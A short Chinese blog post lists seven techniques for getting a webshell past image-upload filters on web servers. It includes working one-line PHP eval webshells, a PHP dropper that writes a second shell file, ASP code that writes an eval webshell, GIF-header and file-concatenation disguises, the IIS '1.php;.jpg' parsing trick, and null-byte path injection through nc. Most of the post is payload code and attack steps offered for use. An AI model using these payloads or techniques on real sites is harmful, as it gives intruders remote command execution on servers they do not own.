分享上传图片shell的绕过过滤的几种方法

一般网站图片上传功能都对文件进行过滤,防止webshell写入。但不同的程序对过滤也不一样,如何突破过滤继续上传?

本文总结了七种方法,可以突破!

1、文件头+GIF89a法。(php)//这个很好理解,直接在php马最前面写入gif89a,然后上传dama.php

2、使用edjpgcom工具向图片注入代码。(php)//edjpgcom修改,加入php一句话保存为dama.php

3、cmd命令下copy 图片.GIF+shell.php webshell.php (php) //估计和1是同样的原理,欺骗上传webshell.php

4、C32asm打开图片在文件末尾空一格加入代码<?php eval($_POST[cmd])?> 。(php)//填充php一句话然后上传。

5、在4基础上改进代码<?php fputs(fopen("error.php"."w")."<?eval(\$_POST[cmd]);?>")?> 。(php)//同

目录下生成error.php,提问:asp的怎么改写?

回答:asp测试的结果是:没有权限…

<%

Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")

Set MyTextFile=MyFileObject.CreateTextFile("kafei.asp")

MyTextFile.WriteLine("\<\%eval request(chr(35))\%\>")

MyTextFile.Close

%>

6、IIS解析目录名漏洞1.php;.jpg (jpg) //这是文件名变量没有过滤。

7、nc抓包改数据 //路径名和文件名没有过滤。

//通过抓包修改上传路径通过/upload/1.asp+空格,使用软件把空格填充为00。然后nc提交获取webshell。

posted @ 2016-01-23 17:44  h4ck0ne  阅读(499)  评论(0编辑  收藏  举报